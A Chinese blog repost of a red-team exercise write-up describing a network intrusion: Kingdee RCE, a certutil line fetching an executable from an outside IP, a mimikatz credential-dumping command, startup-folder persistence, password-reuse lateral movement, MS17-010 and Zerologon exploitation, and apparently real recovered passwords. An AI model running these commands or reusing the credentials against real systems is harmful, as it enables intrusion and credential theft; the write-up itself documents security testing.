某次极为顺畅的实战案例

admin
admin
admin
138635
文章
114
评论
2024年4月23日03:11:50评论16 views字数 2176阅读7分15秒阅读模式

免责声明：由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号李白你好及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！

真实案例，厚码见谅，有些步骤可能有些忘记，截图并不是很全面。

1►

金蝶云星空RCE

某次极为顺畅的实战案例

shell之后尝试上线（出网）

certutil -urlcache -split -f http://xx.xx.xx.xx/test.exe c:test.exe

这里exe的位置只是一个示例，正常都是在tmp目录下的
有CS的话，就上传frp

某次极为顺畅的实战案例

2►

本机信息收集

上传mimikatz收集密码本，mimikatz收集密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords full"

某次极为顺畅的实战案例

get一个密码，乍一看还有域

administrator/@qweadmin5656

之后在翻取文件的地方，发现有个密码HAO&^&123

3►

权限维持

这里因为是简单的市护网，没人应急，维权就把exe的木马文件放到启动目录下

C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp

4►

内网横向

之后就是fscan的扫描

先简单的使用密码本进行横向扫描，针对445端口进行密码复用的爆破。
因为SMB密码和RDP的密码是一样的。并且SMB的爆破速度比RDP更快。
这里获取了大概五六个权限，就可以放开去扫了

某次极为顺畅的实战案例

内网中扫描到一些 海康威视综合安防管理平台

https://github.com/Tas9er/HikvisionIVMSGetShell

换上Gazila的shell

地址为https://xxx.xxx.xxx/abcd.jsp;js

某次极为顺畅的实战案例

一堆永恒之蓝,直接msf梭哈就行，但是命令执行多了容易崩

[+] 172.21.3x.3x MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)[+] 172.21.3x.1x MS17-010 (Windows Server 2016 Standard 14393)[+] 172.21.3x.x9 MS17-010 (Windows Server 2012 R2 Standard 9600)[+] 172.21.1x9.2x7 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1)[+] 172.21.1x0.2x MS17-010 (Windows 7 Enterprise 7600)[+] 172.21.1x9.6x MS17-010 (Windows 7 Ultimate 7601 Service Pack 1)[+] 172.21.1x0.1x0 MS17-010 (Windows 7 Professional 7601 Service Pack 1)[+] 172.21.1x0.1x6 MS17-010 (Windows 7 Professional 7601 Service Pack 1)[+] 172.21.1x3.2x5 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1)[+] 172.21.1x0.1x3 MS17-010 (Windows 7 Professional 7601 Service Pack 1)[+] 172.21.1x2.x34 MS17-010 (Windows 7 Enterprise 7600)[+] 172.21.1x9.x28 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1)[+] 172.21.1x0.x63 MS17-010 (Windows 7 Professional 7601 Service Pack 1)[+] 172.21.3x.5x MS17-010 (Windows Server 2012 R2 Datacenter 9600)[+] 172.21.1x9.x7 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1)[+] 172.21.1x0.x32 MS17-010 (Windows 7 Professional 7601 Service Pack 1)[+] 172.21.3x.x1 MS17-010 (Windows Server 2012 R2 Standard 9600)

数据库弱口令，比如root/root(mysql),sa/123456（mssql ），redis未授权按，大概十几个数据库，几十万数据，就不一一放截图了。

某次极为顺畅的实战案例

如上所见 基本上都是172段的机子，在某次RDP的时候发现一个双网卡机子，通192段和169.254段（突破网络限制1000分）

某次极为顺畅的实战案例

但是这里只梭哈了192段。
由于这个双网卡机子出网，所以就上了个frp，继续上传mimikatz查看密码本。这里过程重复上面的过程了基本上，就不重新描述了。

有意思的是在扫描的过程中看到了域控。zerologon直接getshell

某次极为顺畅的实战案例

某次极为顺畅的实战案例

某次极为顺畅的实战案例

加个域管理，收工。

某次极为顺畅的实战案例

回头看看这个靶标，拿下的基本上很顺利，并没有什么坑坑绕绕。基本上一直在重复扫描，收集信息，继续扫描的过程。

原文作者：nihao123123文章来源：https://xz.aliyun.com/t/13557

5►

原文始发于微信公众号（李白你好）：某次极为顺畅的实战案例

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月23日03:11:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   某次极为顺畅的实战案例https://cn-sec.com/archives/2679090.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息